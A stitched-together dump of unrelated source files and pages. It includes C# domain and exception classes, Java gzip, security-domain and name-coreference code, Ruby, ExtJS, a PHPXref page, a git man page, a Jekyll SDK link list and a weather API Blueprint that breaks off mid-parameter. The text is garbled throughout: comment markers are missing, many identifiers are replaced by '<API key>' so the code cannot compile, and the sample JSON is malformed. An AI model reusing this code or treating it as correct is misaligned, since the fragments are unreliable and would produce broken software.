using System; using System.Collections.Generic; using System.Data.Linq.Mapping; using Prism.Mvvm; namespace Bloom.Domain.Models { <summary> Represents an artist member. </summary> <seealso cref="BindableBase" /> [Table(Name = "artist_member")] public class ArtistMember : BindableBase { <summary> Creates a new album member instance. </summary> <param name="artist">An artist.</param> <param name="person">A person.</param> <param name="priority">The member priority.</param> public static ArtistMember Create(Artist artist, Person person, int priority) { return new ArtistMember { Id = Guid.NewGuid(), ArtistId = artist.Id, Person = person, Priority = priority, Roles = new List<Role>() }; } <summary> Gets or sets the artist member identifier. </summary> [Column(Name = "id", IsPrimaryKey = true)] public Guid Id { get; set; } <summary> Gets or sets the artist identifier. </summary> [Column(Name = "artist_id")] public Guid ArtistId { get; set; } <summary> Gets or sets the person identifier. </summary> [Column(Name = "person_id")] public Guid PersonId { get; set; } <summary> Gets or sets the person. </summary> public Person Person { get { return _person; } set { _person = value; PersonId = _person?.Id ?? Guid.Empty; } } private Person _person; <summary> Gets or sets the date this artist member started with this artist. </summary> [Column(Name = "started")] public DateTime? Started { get { return _started; } set { SetProperty(ref _started, value); } } private DateTime? _started; <summary> Gets or sets the date this artist memeber ended with this artist. </summary> [Column(Name = "ended")] public DateTime? Ended { get { return _ended; } set { SetProperty(ref _ended, value); } } private DateTime? _ended; <summary> Gets or sets the priority. </summary> [Column(Name = "priority")] public int Priority { get; set; } <summary> Gets or sets the artist member roles. </summary> public List<Role> Roles { get; set; } <summary> Returns a <see cref="System.String" /> that represents this instance. </summary> public override string ToString() { return Person != null ? Person.Name : PersonId.ToString(); } } }
package org.test.shop.controller.filter.gzip; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; // TODO: Auto-generated Javadoc /** * The Class GZipResponseUtil. */ public final class GZipResponseUtil { /** The Constant LOG. */ private static final Logger LOG = LoggerFactory.getLogger(GZipResponseUtil.class); /** * Gzipping an empty file or stream always results in a 20 byte output * This is in java or elsewhere. * <p/> * On a unix system to reproduce do <code>gzip -n empty_file</code>. -n tells gzip to not * include the file name. The resulting file size is 20 bytes. * <p/> * Therefore 20 bytes can be used indicate that the gzip byte[] will be empty when ungzipped. */ private static final int <API key> = 20; /** * Utility class. No public constructor. */ private GZipResponseUtil() { // noop } /** * Checks whether a gzipped body is actually empty and should just be zero. * When the compressedBytes is {@link #<API key>} it should be zero. * * @param compressedBytes the gzipped response body * @param request the client HTTP request * @return true if the response should be 0, even if it is isn't. */ public static boolean <API key>(byte[] compressedBytes, HttpServletRequest request) { //Check for 0 length body if (compressedBytes.length == <API key>) { if (LOG.isTraceEnabled()) { LOG.trace("{} resulted in an empty response.", request.getRequestURL()); } return true; } else { return false; } } public static boolean shouldBodyBeZero(HttpServletRequest request, int responseStatus) { //Check for NO_CONTENT if (responseStatus == HttpServletResponse.SC_NO_CONTENT) { if (LOG.isDebugEnabled()) { LOG.debug("{} resulted in a {} response. Removing message body in accordance with RFC2616.", request.getRequestURL(), HttpServletResponse.SC_NO_CONTENT); } return true; } //Check for NOT_MODIFIED if (responseStatus == HttpServletResponse.SC_NOT_MODIFIED) { if (LOG.isDebugEnabled()) { LOG.debug("{} resulted in a {} response. Removing message body in accordance with RFC2616.", request.getRequestURL(), HttpServletResponse.SC_NOT_MODIFIED); } return true; } return false; } /** * Adds the gzip HTTP header to the response. * <p/> * <p> * This is need when a gzipped body is returned so that browsers can properly decompress it. * </p> * * @param response the response which will have a header added to it. I.e this method changes its parameter * @throws <API key> Either the response is committed or we were called using the include method * from a {@link javax.servlet.RequestDispatcher#include(javax.servlet.ServletRequest, javax.servlet.ServletResponse)} * method and the set header is ignored. */ public static void addGzipHeader(HttpServletResponse response) throws <API key> { response.setHeader("Content-Encoding", "gzip"); boolean containsEncoding = response.containsHeader("Content-Encoding"); if (!containsEncoding) { throw new <API key>("Failure when attempting to set " + "Content-Encoding: gzip"); } } }
#if !NET451 using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.Extensions.Options; using Senparc.CO2NET; using Senparc.CO2NET.AspNet; using Senparc.CO2NET.Cache; using Senparc.CO2NET.RegisterServices; using Senparc.Weixin.Entities; using System; using System.Collections.Generic; namespace Senparc.Weixin.AspNet { public static class WeixinRegister { <summary> <para> CO2NET Senparc.Weixin SDK </para> <para> CON2ET Senparc.Weixin SDK </para> </summary> <param name="registerService"></param> <param name="<API key>"></param> <param name="registerConfigure"></param> <returns></returns> public static IRegisterService UseSenparcWeixin(this IApplicationBuilder app, #if NETSTANDARD2_0 Microsoft.Extensions.Hosting.IHostEnvironment/*IHostingEnvironment*/ env, #else Microsoft.Extensions.Hosting.IHostEnvironment/*IWebHostEnvironment*/ env, #endif SenparcSetting senparcSetting, <API key> <API key>, Action<IRegisterService> <API key>, Action<IRegisterService> <API key>, //CO2NET bool <API key> = false, Func<List<<API key>>> <API key> = null ) { // CO2NET var register = app.UseSenparcGlobal(env, senparcSetting, <API key>, <API key>, <API key>); register.UseSenparcWeixin(<API key>, <API key>); return register; } } } #endif
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator 1.0.0.0 # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::ARM::Logic module Models # Defines values for <API key> module <API key> NotSpecified = "NotSpecified" Accepted = "Accepted" Running = "Running" Ready = "Ready" Creating = "Creating" Created = "Created" Deleting = "Deleting" Deleted = "Deleted" Canceled = "Canceled" Failed = "Failed" Succeeded = "Succeeded" Moving = "Moving" Updating = "Updating" Registering = "Registering" Registered = "Registered" Unregistering = "Unregistering" Unregistered = "Unregistered" Completed = "Completed" end end end
Ext.define('websure.backup.store.<API key>', { extend: 'Ext.data.TreeStore', model:"websure.backup.model.<API key>", alias:"widget.<API key>", proxy:{ type : 'ajax', url : '/backup/toclusterAction!<API key>.action', reader : { type : 'json', root: 'children' } } });
<!doctype html public "- <html> <head> <title>PHPXRef 0.7.1 : Unnamed Project : Function Reference: <API key>()</title> <link rel="stylesheet" href="../sample.css" type="text/css"> <link rel="stylesheet" href="../sample-print.css" type="text/css" media="print"> <style id="hilight" type="text/css"></style> <meta http-equiv="content-type" content="text/html;charset=iso-8859-1"> </head> <body bgcolor="#ffffff" text="#000000" link="#801800" vlink="#300540" alink="#ffffff"> <table class="pagetitle" width="100%"> <tr> <td valign="top" class="pagetitle"> [ <a href="../index.html">Index</a> ] </td> <td align="right" class="pagetitle"> <h2 style="margin-bottom: 0px">PHP Cross Reference of Unnamed Project</h2> </td> </tr> </table> <!-- Generated by PHPXref 0.7.1 at Thu Oct 23 19:15:14 2014 --> <script src="../phpxref.js" type="text/javascript"></script> <script language="JavaScript" type="text/javascript"> <! ext='.html'; relbase='../'; subdir='_functions'; filename='index.html'; cookiekey='phpxref'; handleNavFrame(relbase, subdir, filename); logFunction('<API key>'); </script> <script language="JavaScript" type="text/javascript"> if (gwGetCookie('xrefnav')=='off') document.write('<p class="navlinks">[ <a href="javascript:navOn()">Show Explorer<\/a> ]<\/p>'); else document.write('<p class="navlinks">[ <a href="javascript:navOff()">Hide Explorer<\/a> ]<\/p>'); </script> <noscript> <p class="navlinks"> [ <a href="../nav.html" target="_top">Show Explorer</a> ] [ <a href="index.html" target="_top">Hide Navbar</a> ] </p> </noscript> [<a href="../index.html">Top level directory</a>]<br> <script language="JavaScript" type="text/javascript"> <! document.writeln('<table align="right" class="searchbox-link"><tr><td><a class="searchbox-link" href="javascript:void(0)" onMouseOver="showSearchBox()">Search</a><br>'); document.writeln('<table border="0" cellspacing="0" cellpadding="0" class="searchbox" id="searchbox">'); document.writeln('<tr><td class="searchbox-title">'); document.writeln('<a class="searchbox-title" href="javascript:showSearchPopup()">Search History +</a>'); document.writeln('<\/td><\/tr>'); document.writeln('<tr><td class="searchbox-body" id="searchbox-body">'); document.writeln('<form name="search" style="margin:0px; padding:0px" onSubmit=\'return jump()\'>'); document.writeln('<a class="searchbox-body" href="../_classes/index.html">Class<\/a>: '); document.writeln('<input type="text" size=10 value="" name="classname"><br>'); document.writeln('<a id="funcsearchlink" class="searchbox-body" href="../_functions/index.html">Function<\/a>: '); document.writeln('<input type="text" size=10 value="" name="funcname"><br>'); document.writeln('<a class="searchbox-body" href="../_variables/index.html">Variable<\/a>: '); document.writeln('<input type="text" size=10 value="" name="varname"><br>'); document.writeln('<a class="searchbox-body" href="../_constants/index.html">Constant<\/a>: '); document.writeln('<input type="text" size=10 value="" name="constname"><br>'); document.writeln('<a class="searchbox-body" href="../_tables/index.html">Table<\/a>: '); document.writeln('<input type="text" size=10 value="" name="tablename"><br>'); document.writeln('<input type="submit" class="searchbox-button" value="Search">'); document.writeln('<\/form>'); document.writeln('<\/td><\/tr><\/table>'); document.writeln('<\/td><\/tr><\/table>'); </script> <div id="search-popup" class="searchpopup"><p id="searchpopup-title" class="searchpopup-title">title</p><div id="searchpopup-body" class="searchpopup-body">Body</div><p class="searchpopup-close"><a href="javascript:gwCloseActive()">[close]</a></p></div> <h3>Function and Method Cross Reference</h3> <h2><a href="index.html#<API key>"><API key>()</a></h2> <b>Defined at:</b><ul> <li><a href="../tests/simpletest/test/acceptance_test.php.html#<API key>">/tests/simpletest/test/acceptance_test.php</a> -> <a onClick="logFunction('<API key>', '/tests/simpletest/test/acceptance_test.php.source.html#l932')" href="../tests/simpletest/test/acceptance_test.php.source.html#l932"> line 932</a></li> </ul> <b>No references found.</b><br><br> </ul> <!-- A link to the phpxref site in your customized footer file is appreciated ;-) --> <br><hr> <table width="100%"> <tr><td>Generated: Thu Oct 23 19:15:14 2014</td> <td align="right"><i>Cross-referenced by <a href="http://phpxref.sourceforge.net/">PHPXref 0.7.1</a></i></td> </tr> </table> </body></html>
package org.grobid.core.lang; /** * Interface for language recognition method/library */ public interface LanguageDetector { /** * Detects a language id that must consist of two letter together with a confidence coefficient. * If coefficient cannot be provided for some reason, it should be 1.0 * @param text text to detect a language from * @return a language id together with a confidence coefficient */ public Language detect(String text); }
package org.jboss.resteasy.plugins.server.embedded; import java.security.Principal; import java.util.Set; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.CopyOnWriteArraySet; import org.jboss.resteasy.resteasy_jaxrs.i18n.Messages; /** * POJO Security domain. * * @author <a href="mailto:bill@burkecentral.com">Bill Burke</a> * @version $Revision: 1 $ */ public class <API key> implements SecurityDomain { private ConcurrentHashMap<String, String> users = new ConcurrentHashMap<String, String>(); private ConcurrentHashMap<String, Set<String>> roles = new ConcurrentHashMap<String, Set<String>>(); public void addRole(String user, String role) { Set<String> users = roles.get(role); if (users == null) { users = new CopyOnWriteArraySet<String>(); roles.putIfAbsent(role, users); users = roles.get(role); } users.add(user); } public void addUser(String username, String password, String[] roles) { users.put(username, password); for (String role : roles) addRole(username, role); } public void addRoles(String role, String[] users) { for (String user : users) addRole(user, role); } public Principal authenticate(String username, String password) throws SecurityException { String passwd = users.get(username); if (passwd == null) throw new SecurityException(Messages.MESSAGES.userIsNotRegistered(username)); if (!passwd.equals(password)) throw new SecurityException(Messages.MESSAGES.wrongPassword(username)); return new SimplePrincipal(username); } public boolean isUserInRoll(Principal username, String role) { //System.out.println("Is user in role: " + username.getName() + " for role " + role); Set<String> users = roles.get(role); if (users == null) { //System.out.println("No user of that name"); return false; } boolean result = users.contains(username.getName()); //System.out.println("Result is: " + result); return result; } }
layout: post title: SDK category: tags: SDK keywords: keywords description: SDKSDK SDK SDK SDKSDK 615SDKSDKSDK # SDK - MSDK: [http: - AGSDK[http: - SDK - SDKSDK - `SDK`[](http://blog.bihe0832.com/sdk_summary.html) # SDK SDK - `SDKSDK`[](http://blog.bihe0832.com/<API key>.html) SDKSDK - `SDKSDK`[](http://blog.bihe0832.com/sdk_summary_future.html) SDKSDKSDK SDK # SDK - `SDK`[](http://blog.bihe0832.com/<API key>.html) SDK() - `SDK`[](http://blog.bihe0832.com/<API key>.html) - `SDK`[](http://blog.bihe0832.com/sdk_desigin_api.html) - `SDK`[](http://blog.bihe0832.com/<API key>.html) SDK() # SDK SDK - `SDK`[](http://blog.bihe0832.com/<API key>.html) - `SDK`[](http://blog.bihe0832.com/sdk_experience_test.html) - `SDK`[](http://blog.bihe0832.com/<API key>.html) TODO - `SDK`[](http://blog.bihe0832.com/<API key>.html) SDKdemodemo - `SDKDemo`[](http://blog.bihe0832.com/sdk_experience_Demo.html) SDKdemodemo - `SDK`[](http://blog.bihe0832.com/<API key>.html) AndroidSDK SDK
<p class="level0"> <p class="level0"> <p class="level0"> <p class="level0"> <p class="level0"><a name="NAME"></a><h2 class="nroffsh">NAME</h2> <p class="level0">git-parse-remote - Routines to help parsing remote repository access parameters <a name="SYNOPSIS"></a><h2 class="nroffsh">SYNOPSIS</h2> <p class="level0"> <p class="level0"><pre class="level0"> <span class="emphasis">. "$(git --exec-path)/git-parse-remote"</span> </pre> <p class="level0"> <p class="level0"><a name="DESCRIPTION"></a><h2 class="nroffsh">DESCRIPTION</h2> <p class="level0"> <p class="level0">This script is included in various scripts to supply routines to parse files under $GIT_DIR/remotes/ and $GIT_DIR/branches/ and configuration variables that are related to fetching, pulling and pushing. <a name="GIT"></a><h2 class="nroffsh">GIT</h2> <p class="level0"> <p class="level0">Part of the <span Class="bold">git</span>(1) suite
package com.diskoverorta.coreference; import java.io.FileReader; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.List; import java.util.Properties; import java.util.Set; /** * Command-line interface to the engine. */ public class Duke { private static Properties properties; public static void main(String[] argv) throws IOException { main_(argv); } // Function to compare two strings public static double checkNames(String name1, String name2) { <API key> fam_obj = new <API key>(); String a = fam_obj.clean(name1); String b = fam_obj.clean(name2); <API key> low_obj = new <API key>(); String c = low_obj.clean(a); String d = fam_obj.clean(b); <API key> obj = new <API key>(); double e = obj.compare(c, d); return e; } public static HashMap<String, Set<String>> listCompare(List allNames, List data) { /* //String info0 = (String) allNames.get(0); for(Object info0: allNames) System.out.println(info0); for(Object info1: data) { HashMap<String,String> map = (HashMap<String, String>) info1; System.out.println(map.get("status")); } */ for (int i = 0; i < allNames.size(); i++) { for (int j = i+1; j < allNames.size(); j++) { int flag = 0; int a = i + 1; int b = j + 1; String one = allNames.get(i).toString(); String two = allNames.get(j).toString(); double result = checkNames(one,two); if ( result > 0.86 ) { flag = 1; } if (flag==1) { //System.out.println("Match " + result); //System.out.println(one + ", " + two); HashMap<String,String> map1 = (HashMap<String, String>) data.get(i); HashMap<String,String> map2 = (HashMap<String, String>) data.get(j); if(map1.get("status")=="F" && map2.get("status")=="F") { keepCount.gcount = keepCount.gcount + 1; String z = Integer.toString(keepCount.gcount); map1.put("group", z); map1.put("status", "T"); map2.put("group", z); map2.put("status", "T"); //System.out.println("Updated :" + a + " and " + b ); } else if(map1.get("status")=="T" && map2.get("status")=="F") { map2.put("group", map1.get("group")); map2.put("status", "T"); //System.out.println("Updated :" + b + " with " + a ); } else if(map1.get("status")=="F" && map2.get("status")=="T") { map1.put("group", map2.get("group")); map1.put("status", "T"); //System.out.println("Updated :" + a + " with " + b); } System.out.println(" "); } } } HashMap<String, Set<String>> catchReturn = new HashMap<String, Set<String>>(); catchReturn = makeFinalMap(data); return catchReturn; } public static HashMap<String, Set<String>> makeFinalMap(List sortedData) { int c = keepCount.gcount; ArrayList<ArrayList<String>> Groups = new ArrayList<ArrayList<String>>(); HashMap<String, Set<String>> mapOfList = new HashMap<String, Set<String>>(); for(int i = 1; i < c + 1; i++) { int j = 0; ArrayList<String> sameGroup = new ArrayList<String>(); int countInput = sortedData.size(); while (j < countInput) { HashMap<String,String> map4 = (HashMap<String, String>) sortedData.get(j); if(Integer.parseInt(map4.get("group"))==i) { sameGroup.add(map4.get("name")); } j = j + 1; } Groups.add(sameGroup); } for (ArrayList<String> list1: Groups) { //System.out.println(" Next Group "); String list2[] = new String[list1.size()]; list1.toArray(list2); String longestString = getLongestString(list2); //System.out.format("longest string: '%s'\n", longestString); for (Iterator<String> iter = list1.listIterator(); iter.hasNext(); ) { String a = iter.next(); if (a == longestString) { iter.remove(); } } Set<String> foo = new HashSet<>(list1); mapOfList.put(longestString, foo); } /* System.out.println(" "); System.out.println(" "); System.out.println(" "); System.out.println(" Displaying The Map "); Set setOfKeys = mapOfList.keySet(); Iterator iterator = setOfKeys.iterator(); while (iterator.hasNext()) { String key = (String) iterator.next(); System.out.println(" "); System.out.println(" "); System.out.println("Entity is : " + key ); System.out.println(" "); List matchedList = mapOfList.get(key); int fcount = 0; System.out.println("Related Entities are :" ); for(int i = 0; i < matchedList.size(); i++) { fcount = fcount + 1; System.out.println(matchedList.get(i)); } System.out.println(" "); } */ return mapOfList; } public static String getLongestString(String[] array) { int maxLength = 0; String longestString = null; for (String s : array) { if (s.length() > maxLength) { maxLength = s.length(); longestString = s; } } return longestString; } public static void display(List data) { System.out.println(" "); int fcount = 0; for(int i = 0; i < data.size(); i++) { fcount = fcount + 1; System.out.println(data.get(i)); } System.out.println(fcount); System.out.println(" "); } public static class keepCount { public static int gcount=0; } // Function to get Coreference public static HashMap<String,Set<String>> getCoref(Set<String> entitySet) { keepCount.gcount = 0; List<String> entityList = new ArrayList<String>(entitySet); List<HashMap<String, String>> mapList= new ArrayList<HashMap<String, String>>(); HashMap<String, Set<String>> entityMap = new HashMap<String, Set<String>>(); int count = 0; for(int i = 0; i < entityList.size(); i++) { HashMap<String, String> map= new HashMap<String, String>(); map.put("name", entityList.get(i)); map.put("status", "F"); map.put("group", "0"); mapList.add(count, map); count = count + 1; } entityMap = listCompare(entityList,mapList); return entityMap; } public static void main_(String[] argv) throws IOException { /* Sample Example with Entity List as exampleNames.csv CSVReader reader = new CSVReader(new FileReader("/home/itachi/Serendio /Duke/duke-1.1/NewTry/names3.csv")); List<String> restAPIbig = new ArrayList<String>(); String[] row; int count = 0; while ((row = reader.readNext()) != null) { restAPIbig.add(row[0]); System.out.println(row[0]); map.put("name", row[0]); map.put("status", "F"); map.put("group", "0"); data.add(count, map); count = count + 1; } getCoref(restAPIbig); */ System.out.println("Total Groups are " + keepCount.gcount); } }
#endregion using System.Collections.Generic; using System.Diagnostics; namespace NerdyDuck.CodedExceptions; <summary> Represents one or more errors that occur during application execution. This exception provides constructors to set custom <see cref="Exception.HResult"/> values. </summary> [Serializable] [CodedException] [DebuggerDisplay("Count = {<API key>}")] [ComVisible(false)] public class <API key> : AggregateException { <summary> Gets the count of inner exceptions for display in the debugger. </summary> private int <API key> => InnerExceptions.Count; <summary> Initializes a new instance of the <see cref="<API key>"/> class with a system-supplied message that describes the error. </summary> <remarks>This constructor initializes the <see cref="Exception.Message"/> property of the new instance to a system-supplied message that describes the error, such as "One or more errors occurred." This message takes into account the current system culture.</remarks> public <API key>() : base() { } <summary> Initializes a new instance of the <see cref="<API key>"/> class with references to the inner exceptions that are the cause of this exception. </summary> <param name="innerExceptions">The exceptions that are the cause of the current exception.</param> <exception cref="<API key>">The <paramref name="innerExceptions"/> argument is <see langword="null"/>.</exception> <exception cref="ArgumentException">An element of <paramref name="innerExceptions"/> is <see langword="null"/>.</exception> public <API key>(IEnumerable<Exception> innerExceptions) : base(innerExceptions) { } <summary> Initializes a new instance of the <see cref="<API key>"/> class with references to the inner exceptions that are the cause of this exception. </summary> <param name="innerExceptions">The exceptions that are the cause of the current exception.</param> <exception cref="<API key>">The <paramref name="innerExceptions"/> argument is <see langword="null"/>.</exception> <exception cref="ArgumentException">An element of <paramref name="innerExceptions"/> is <see langword="null"/>.</exception> public <API key>(params Exception[] innerExceptions) : base(innerExceptions) { } <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified message that describes the error. </summary> <param name="message">The message that describes the exception. The caller of this constructor is required to ensure that this string has been localized for the current system culture.</param> public <API key>(string? message) : base(message) { } <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified error message and a reference to the inner exception that is the cause of this exception. </summary> <param name="message">The message that describes the exception. The caller of this constructor is required to ensure that this string has been localized for the current system culture.</param> <param name="innerException">The exception that is the cause of the current exception.</param> <exception cref="<API key>">The <paramref name="innerException"/> argument is <see langword="null"/>.</exception> public <API key>(string? message, Exception innerException) : base(message, innerException) { } <summary> Initializes a new instance of the <see cref="<API key>"/> class with serialized data. </summary> <param name="info">The object that holds the serialized object data.</param> <param name="context">The contextual information about the source or destination.</param> <exception cref="<API key>">The <paramref name="info"/> argument is <see langword="null"/>.</exception> <exception cref="<API key>">The exception could not be deserialized correctly.</exception> protected <API key>(SerializationInfo info, StreamingContext context) : base(info, context) { } <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified error message and references to the inner exceptions that are the cause of this exception. </summary> <param name="message">The message that describes the exception. The caller of this constructor is required to ensure that this string has been localized for the current system culture.</param> <param name="innerExceptions">The exceptions that are the cause of the current exception.</param> <exception cref="<API key>">The <paramref name="innerExceptions"/> argument is <see langword="null"/>.</exception> <exception cref="ArgumentException">An element of <paramref name="innerExceptions"/> is <see langword="null"/>.</exception> public <API key>(string? message, IEnumerable<Exception> innerExceptions) : base(message, innerExceptions) { } <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified error message and references to the inner exceptions that are the cause of this exception. </summary> <param name="message">The message that describes the exception. The caller of this constructor is required to ensure that this string has been localized for the current system culture.</param> <param name="innerExceptions">The exceptions that are the cause of the current exception.</param> <exception cref="<API key>">The <paramref name="innerExceptions"/> argument is <see langword="null"/>.</exception> <exception cref="ArgumentException">An element of <paramref name="innerExceptions"/> is <see langword="null"/>.</exception> public <API key>(string? message, params Exception[] innerExceptions) : base(message, innerExceptions) { } <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified HRESULT value and a system-supplied message that describes the error. </summary> <param name="hresult">The HRESULT that describes the error.</param> <remarks><para>This constructor initializes the <see cref="Exception.Message"/> property of the new instance to a system-supplied message that describes the error, such as "One or more errors occurred." This message takes into account the current system culture.</para> <para>See the <a href="http://msdn.microsoft.com/en-us/library/cc231198.aspx">HRESULT definition at MSDN</a> for more information about the definition of HRESULT values.</para></remarks> public <API key>(int hresult) : base() => HResult = hresult; <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified HRESULT value and references to the inner exceptions that are the cause of this exception. </summary> <param name="hresult">The HRESULT that describes the error.</param> <param name="innerExceptions">The exceptions that are the cause of the current exception.</param> <remarks>See the <a href="http://msdn.microsoft.com/en-us/library/cc231198.aspx">HRESULT definition at MSDN</a> for more information about the definition of HRESULT values.</remarks> <exception cref="<API key>">The <paramref name="innerExceptions"/> argument is <see langword="null"/>.</exception> <exception cref="ArgumentException">An element of <paramref name="innerExceptions"/> is <see langword="null"/>.</exception> public <API key>(int hresult, IEnumerable<Exception> innerExceptions) : base(innerExceptions) => HResult = hresult; <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified HRESULT value and references to the inner exceptions that are the cause of this exception. </summary> <param name="hresult">The HRESULT that describes the error.</param> <param name="innerExceptions">The exceptions that are the cause of the current exception.</param> <remarks>See the <a href="http://msdn.microsoft.com/en-us/library/cc231198.aspx">HRESULT definition at MSDN</a> for more information about the definition of HRESULT values.</remarks> <exception cref="<API key>">The <paramref name="innerExceptions"/> argument is <see langword="null"/>.</exception> <exception cref="ArgumentException">An element of <paramref name="innerExceptions"/> is <see langword="null"/>.</exception> public <API key>(int hresult, params Exception[] innerExceptions) : base(innerExceptions) => HResult = hresult; <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified HRESULT value and a message that describes the error. </summary> <param name="hresult">The HRESULT that describes the error.</param> <param name="message">The message that describes the exception. The caller of this constructor is required to ensure that this string has been localized for the current system culture.</param> <remarks>See the <a href="http://msdn.microsoft.com/en-us/library/cc231198.aspx">HRESULT definition at MSDN</a> for more information about the definition of HRESULT values.</remarks> public <API key>(int hresult, string? message) : base(message) => HResult = hresult; <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified HRESULT value, an error message and a reference to the inner exception that is the cause of this exception. </summary> <param name="hresult">The HRESULT that describes the error.</param> <param name="message">The message that describes the exception. The caller of this constructor is required to ensure that this string has been localized for the current system culture.</param> <param name="innerException">The exception that is the cause of the current exception.</param> <remarks>See the <a href="http://msdn.microsoft.com/en-us/library/cc231198.aspx">HRESULT definition at MSDN</a> for more information about the definition of HRESULT values.</remarks> <exception cref="<API key>">The <paramref name="innerException"/> argument is <see langword="null"/>.</exception> public <API key>(int hresult, string? message, Exception innerException) : base(message, innerException) => HResult = hresult; <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified HRESULT value, an error message and references to the inner exceptions that are the cause of this exception. </summary> <param name="hresult">The HRESULT that describes the error.</param> <param name="message">The message that describes the exception. The caller of this constructor is required to ensure that this string has been localized for the current system culture.</param> <param name="innerExceptions">The exceptions that are the cause of the current exception.</param> <remarks>See the <a href="http://msdn.microsoft.com/en-us/library/cc231198.aspx">HRESULT definition at MSDN</a> for more information about the definition of HRESULT values.</remarks> <exception cref="<API key>">The <paramref name="innerExceptions"/> argument is <see langword="null"/>.</exception> <exception cref="ArgumentException">An element of <paramref name="innerExceptions"/> is <see langword="null"/>.</exception> public <API key>(int hresult, string? message, IEnumerable<Exception> innerExceptions) : base(message, innerExceptions) => HResult = hresult; <summary> Initializes a new instance of the <see cref="<API key>"/> class with a specified HRESULT value, an error message and references to the inner exceptions that are the cause of this exception. </summary> <param name="hresult">The HRESULT that describes the error.</param> <param name="message">The message that describes the exception. The caller of this constructor is required to ensure that this string has been localized for the current system culture.</param> <param name="innerExceptions">The exceptions that are the cause of the current exception.</param> <remarks>See the <a href="http://msdn.microsoft.com/en-us/library/cc231198.aspx">HRESULT definition at MSDN</a> for more information about the definition of HRESULT values.</remarks> <exception cref="<API key>">The <paramref name="innerExceptions"/> argument is <see langword="null"/>.</exception> <exception cref="ArgumentException">An element of <paramref name="innerExceptions"/> is <see langword="null"/>.</exception> public <API key>(int hresult, string? message, params Exception[] innerExceptions) : base(message, innerExceptions) => HResult = hresult; <summary> Returns the fully qualified name of this exception, the <see cref="Exception.HResult"/> and possibly the error message, the name of the inner exception, and the stack trace. </summary> <returns>The fully qualified name of this exception, the <see cref="Exception.HResult"/> and possibly the error message, the name of the inner exception, and the stack trace. </returns> public override string ToString() { string CustomText = string.Empty; for (int i = 0; i < base.InnerExceptions.Count; i++) { CustomText = string.Format(CultureInfo.InvariantCulture, TextResources.<API key>, CustomText, Environment.NewLine, i, InnerExceptions[i].ToString()); } return HResultHelper.CreateToString(this, CustomText); } }
FORMAT: 1A (WiP) Weather API ========================== **Work in Progress** - MeteoGroup's public weather API documentation # Group Observation ## Retrieve weather observation [/observation?location={latitudeInDegree,longitudeInDegree}{&speedUnit}{&temperatureUnit}{&precipitationUnit}] Observed weather for a given *latitude* and *longitude* [GET] + Parameters + latitude: `52.13` (number, required) - latitude in degree numeric format and in range <-90,90> eg. -85.541, 5.32 + longitude: `13.2` (number, required) - longitude in degree numeric format and in range <-180,180> eg. -123.454, 179.864 + speedUnit: `meters_per_second` (string, optional) - select which unit for windSpeed, windGust, etc.; valid values: meters_per_second, miles_per_hour, kilometers_per_hour, beaufort + temperatureUnit: `degree` (string, optional) - select which unit for airTemperature, etc.; valid values: degree, fahrenheit + precipitationUnit: `millimeter` (string, optional) - select which unit for precipitation, etc.; valid values: millimeter, inch + Request + Headers X-Authentication: <API-Key> X-TraceId: <Trace-Id> + Response 200 (application/json) + Headers <API key>: 4711 E-Tag: "x234dff" Cache-Control: max-age=3628800 + Body { "location" : { "latitude": 52.5337, "longitude": 13.37788, "timeZoneName" : "Europe/Berlin" }, "stations" : [ { "latitude": 123.43, "longitude": -56.23, "heightInMeters": -12.43, "sourceStation": true, // observation data comming from this station "id": 4711, // MG station id "wmoId": 1231, // if known "sourceType" : "DWD" // do we know this? }, { "latitude": 112.65, "longitude": -55.4, "heightInMeters": 12.43, "sourceStation": false, // this station is closer to requested location but not relevant for source data "id": 4712, // MG station id "wmoId": 1232, // if known "sourceType" : "DWD" // do we know this? }, { "latitude": 115.6, "longitude": -58.7, "heightInMeters": 2.43, "sourceStation": false, // this station is closer to requested location but not relevant for source data "id": 4713, // MG station id "wmoId": 1233, // if known "sourceType" : "DWD" // do we know this? } ], "observedAt": "2015-08-25T13:00:00+02:00" "airTemperature": { "value" : 29.3, // accuracy: 1 decimal place "unit" : "DEGREE_CELSIUS" }, "airPressureInHpa": 1012.9, // accuracy: 1 decimal place "windSpeed": { // mean, last 10 minutes "value" : 7.4, // accuracy: 1 decimal place "unit" : "METER_PER_SECOND" "<API key>" : -60 // could be -60 for last hour, -10 for last 10 minutes, -180 for last 3 hours, ... }, "windGust" : { "value" : 21.6, // accuracy: 1 decimal place "unit" : "METER_PER_SECOND" "<API key>" : -60 // could be -60 for last hour, -10 for last 10 minutes, -180 for last 3 hours, ... }, "windChill" : { // derived/computed value "value" : 3.6, // accuracy: 1 decimal precision "unit" : "DEGREE_CELSIUS" }, "<API key>": 274, // accuracy: 0 decimal place "dewPointTemperature": { "value" : 15.8, // accuracy: 1 decimal place "unit" : "DEGREE_CELSIUS" }, "precipitation": { "value" : 0.2, // accuracy: 1 decimal place "unit" : "MILLIMETER", "<API key>" : -60 // could be -60 for last hour, -10 for last 10 minutes, -180 for last 3 hours, ... }, "<API key>": 63, // derived/computed value "<API key>": 3, // derived/computed value "visibility": { "value" : 0.2, // accuracy: 1 decimal place "unit" : "KILOMETER" // Do we need time interval? i.e. is it possible that visibility is measured in last hour, last 3 hours, ... }, "presentWeather": { "literal": "FOG" // do we need this? }, "weatherSymbol": 1199999 } # Group Forecast ## Retrieve weather forecast [/forecast?location={latitudeInDegree,longitudeInDegree}{&speedUnit}{&temperatureUnit}{&precipitationUnit}] Forecasted weather for a given *latitude* and *longitude* [GET] + Parameters + latitude: `52.13` (number, required) - latitude in degree + longitude: `13.2` (number, required) 